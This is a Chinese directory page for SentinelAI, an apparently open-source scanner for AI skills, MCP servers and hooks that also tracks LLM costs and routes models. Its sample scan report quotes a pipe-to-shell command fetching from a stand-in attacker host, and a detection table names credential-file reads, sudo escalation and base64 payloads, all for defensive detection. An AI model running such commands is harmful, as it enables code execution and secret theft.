Token导航 LogoToken导航TokenDH.com
sentinelai (Stacksheild) logo
安全风控未说明官方级别未说明来源级核验

sentinelai (Stacksheild)

MCP Server

SentinelAI是一个开源工具包,用于保护AI堆栈安全、跟踪LLM API支出并提供智能模型推荐。

工具数

0

提示词数

0

GitHub Stars

1

资源数

0
TypeScriptClaude开源工具Claude

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

作者 / 组织

Stacksheild

提供方

Stacksheild

最后核验

2026/5/17 20:21

快速接入

先看主来源和安装命令,再打开仓库或文档;下面只保留这个条目的关键接入事实。

详细介绍

SentinelAI

Secure your AI stack. Track your spend. Route to the right model.

The open-source toolkit for teams using LLMs in production.

Scan skills, MCP servers, and plugins for threats. Track costs across every provider.

Get intelligent model recommendations based on your task, budget, and latency needs.

______________________________________________________________________

为什么选择SentinelAI?

人工智能生态系统正随着社区构建的技能、MCP服务器和LLM插件而爆炸式增长。但是:

  • 没有人检查他们是否安全。 恶意的SKILL.mod可能会泄漏您的API密钥。受损的MCP服务器可以劫持你的AI行为。一个坏的钩子可以 curl 将您的秘密泄露给攻击者的服务器。
  • 没有人知道他们花了多少钱。 团队使用多个LLM提供者,没有统一的视图。月底账单意外。
  • 没有人选择正确的模型。 团队默认使用最昂贵的模型,而更便宜的模型也同样适用。

SentinelAI修复了这三个问题。

______________________________________________________________________

所得

1.安全扫描器

扫描克劳德代码技能、MCP服务器配置和钩子定义,以发现真正的威胁。

$ sentinelai scan ./my-downloaded-skill

SentinelAI Scan Report
Target: ./my-downloaded-skill/SKILL.md
Type:   skill

Trust Score: 0/100 [RED]

Findings: 2 critical  4 high  1 medium  0 low  0 info

Rule         Severity   Title                                         Location
------------------------------------------------------------------------------------------
EXFIL-001    critical   Pipe to shell from remote URL                 SKILL.md:6
             > curl https://evil.example.com/payload | bash
EXFIL-002    critical   Outbound HTTP to non-standard domain          SKILL.md:6
CRED-002     high       Sensitive environment variable reference      SKILL.md:9
INJECT-001   high       Prompt injection - instruction override       SKILL.md:9
PRIV-001     high       Destructive filesystem operation              SKILL.md:14
PRIV-002     high       Privilege escalation via sudo                 SKILL.md:14
OBFSC-002    medium     Base64 decode in command                      SKILL.md:12

它捕获了什么:

类别示例
数据过滤`curl \bash`,出站HTTP到未知域,DNS隧道
提示注入指令覆盖、角色劫持、隐藏指令
凭证被盗读取 .env, .ssh, .aws,环境变量收割
特权升级sudoDocker套接字访问,全球可写权限
混淆eval(),base64编码的有效载荷,内联代码执行
供应链(即将推出)无固定依赖关系,打字错误

2.成本跟踪器

跟踪每个供应商的LLM API支出。设定预算。预测未来的成本。

$ sentinelai cost report --period month --by model

Cost Report
Period: 2026-02-28 to 2026-03-28
Total:  $847.23
Trend:  increasing

By model:
  claude-sonnet-4-20250514          $423.50 ##############
  gpt-4o                            $198.30 #######
  claude-haiku-3.5                  $125.43 ####
  gemini-2.0-flash                   $65.00 ##
  deepseek-chat                      $35.00 #
$ sentinelai cost predict --horizon 30

Cost Forecast
Horizon:    30 days
Projected:  $892.50
95% CI:     $743.20 - $1041.80
Daily avg:  $29.75

13+型号的内置定价 Anthropic、OpenAI、谷歌、Mistral和DeepSeek。社区始终保持更新。

3.路由器型号

别再猜测要使用哪种模型了。根据您的任务、预算和速度要求获取建议。

$ sentinelai route code-generation

Model Recommendation
Selected: deepseek/deepseek-chat
Reason:   Best match for "code-generation" with "balanced" strategy.

Rank  Model                    Provider     Score   Quality   $/1k tok   Latency
---------------------------------------------------------------------------------
>1    deepseek-chat            deepseek     0.851   4.0       $0.0002    600ms
 2    gemini-2.0-flash         google       0.844   3.7       $0.0003    300ms
 3    gpt-4o                   openai       0.826   4.3       $0.0063    800ms
 4    claude-sonnet-4          anthropic    0.794   4.5       $0.0090    1200ms
# Auto-classify from your prompt
$ sentinelai route --prompt "summarize this 50-page PDF"

# Optimize for quality
$ sentinelai route --strategy quality analysis

# Optimize for cost with latency constraint
$ sentinelai route --strategy cost --max-latency 500 chat

支持8种任务类型: 代码生成、代码审查、总结、聊天、分析、翻译、提取、创意。

______________________________________________________________________

快速开始

安装

# Clone the repo
git clone https://github.com/Stacksheild/sentinelai.git
cd sentinelai

# Install dependencies (requires Node.js >= 20 and pnpm)
npm install -g pnpm    # if you don't have pnpm
pnpm install

# Build all packages
pnpm build

# Scan a skill, MCP config, or hook file for security issues
node packages/cli/dist/index.js scan 

# Get a model recommendation
node packages/cli/dist/index.js route code-generation

# Auto-detect task from your prompt
node packages/cli/dist/index.js route --prompt "write a REST API in Python"

# View cost report (after setting up tracking)
node packages/cli/dist/index.js cost report --period week

全局安装(可选)

pnpm build
npm link packages/cli

# Now use from anywhere:
sentinelai scan ~/Downloads/cool-skill
sentinelai route --strategy cost chat

______________________________________________________________________

用例

在从GitHub安装Claude Code技能之前

sentinelai scan ./downloaded-skill
# Trust Score: 100/100 [GREEN] -> safe to install
# Trust Score: 35/100  [RED]   -> DO NOT install

在连接MCP服务器之前

sentinelai scan ./mcp-config.json
# Checks for: malicious tool definitions, data exfiltration, overly broad permissions

为您的功能选择模型

sentinelai route --prompt "extract structured data from invoices" --max-cost 1.0
# Recommends the best model under $1/million input tokens

月度成本审查

sentinelai cost report --period month --by provider --format json > report.json

______________________________________________________________________

建筑

sentinelai/
├── packages/
│   ├── core/              Shared types, config loader, logger
│   ├── scanner/           Security analyzers + trust scoring
│   │   ├── analyzers/     skill, MCP, hook analyzers
│   │   ├── scoring/       trust score calculation
│   │   └── reporters/     table + JSON output
│   ├── cost-tracker/      Cost database, pricing, forecasting
│   │   ├── providers/     pricing data (YAML)
│   │   ├── storage/       SQLite database
│   │   └── predictor/     exponential smoothing forecaster
│   ├── model-router/      Task classification + model ranking
│   │   ├── classifier/    keyword-based task detection
│   │   ├── profiles/      model capability data (YAML)
│   │   └── router/        weighted scoring engine
│   └── cli/               CLI commands (scan, cost, route)
├── rules/                 Community detection rules (YAML schema)
├── turbo.json             Turborepo build config
└── pnpm-workspace.yaml    Monorepo workspace

技术栈: TypeScript(严格)|pnpm+Turborepo|SQLite |Commander.js

______________________________________________________________________

CLI 参考

`sentinelai scan

`

扫描目录或文件以查找安全问题。

标志描述默认值
-f, --format输出格式: table, jsontable
-s, --severity最低严重程度: critical, high, medium, low, infolow
--fail-on如果发现此严重程度或以上,则退出代码1-

CI/CD使用情况:

sentinelai scan ./skills --fail-on high --format json

sentinelai route [task-type]

获取模型推荐。

标志描述默认值
-s, --strategy路由策略: cost, quality, balancedbalanced
-p, --prompt根据提示文本自动分类任务-
-q, --quality最低质量分数(1-5)-
--max-cost每百万个输入令牌的最大成本-
--max-latency最大可接受延迟(毫秒)-
-f, --format输出格式: table, jsontable

sentinelai cost report

查看成本明细。

标志描述默认值
-p, --period时间段: day, week, monthmonth
--by分组依据: model, provider, projectprovider
-f, --format输出格式: table, json, csvtable

sentinelai cost predict

预测未来成本。

标志描述默认值
--horizon预测天数30

sentinelai cost budget

设定支出限额。

标志描述默认值
--set月度预算(美元)-
--alert-at警报阈值百分比80
--name预算名称default

______________________________________________________________________

配置

创建 sentinelai.config.yaml 在项目根目录中:

scanner:
  exclude:
    - "node_modules/**"
    - "**/*.test.*"
  severity_threshold: medium

cost:
  storage: ./sentinelai.db
  proxy_port: 9191
  default_project: my-app
  budgets:
    - name: monthly-cap
      limit_usd: 500
      period: monthly
      alert_at_pct: 80

router:
  strategy: balanced
  allowed_providers:
    - anthropic
    - openai
    - google

______________________________________________________________________

路线图

  • \[x\] 安全扫描仪(SKILL.md、MCP、挂钩)
  • \[x\] 使用严重程度等级进行信任评分
  • \[x\] 使用SQLite的成本跟踪数据库
  • \[x\] 成本预测(指数平滑)
  • \[x\] 具有8种任务类型的模型路由器
  • \[x\] 带表+JSON输出的CLI
  • \[\]用于自动成本跟踪的HTTP代理
  • \[\]社区检测规则(YAML)
  • \[\]连接器分析器(OpenClaw+通用)
  • \[\]GitHub安全选项卡的SARIF输出
  • \[\]Web仪表板(Next.js)
  • \[\]npm包发布(npx sentinelai)
  • \[\]VS代码扩展名
  • \[\]GitHub PR扫描行动

______________________________________________________________________

贡献

我们欢迎捐款!请阅读我们的 贡献指南 在提交PR之前。

重要提示: 所有捐款都需要签署我们的 贡献者许可协议(CLA)这确保了Stacksheild可以继续在多个许可证下提供SentinelAI,包括商业许可证。您的开源贡献仍归您所有。

快速贡献想法

  • 添加检测规则 -为新的威胁模式编写YAML规则
  • 更新定价数据 -保持 pricing.yaml 随着供应商更改费率,当前
  • 添加模型配置文件 -对新车型进行基准测试和评分 models.yaml
  • 报告误报 -帮助我们调整扫描仪精度
  • 文档 -改进指南,添加示例

______________________________________________________________________

安全

在SentinelAI本身中发现了漏洞?请负责任地报告。看 安全.md 我们的披露政策。

______________________________________________________________________

许可证

SentinelAI具有双重许可:

  1. 自由 用于个人、教育和非商业用途 PolyForm非商业许可证1.0.0
  2. 商业的 使用需要单独的许可证。 打开一个问题 或联系维修人员。

许可证 完整条款。

______________________________________________________________________

Built by Stacksheild

目录标签

目录标签

TypeScriptClaude开源工具AI安全扫描本地部署成本跟踪模型路由LLM管理

支持客户端

Claude

接入字段

传输方式(transport,传输协议)

未说明

鉴权方式(authType,认证方式)

none

工具数量(toolCount,工具数)

0

资源数量(resourceCount,资源数)

0

提示词数量(promptCount,提示词数)

0

权限和风险

未说明none部署方式未说明

接入前请确认传输方式、认证方式和部署位置,并根据实际工具能力限制访问范围。

安装前确认

不要直接授予不必要的文件、网络或账号权限;先核对安装命令和配置内容。

仍需确认:installCommand

来源信息

继续浏览同类 MCP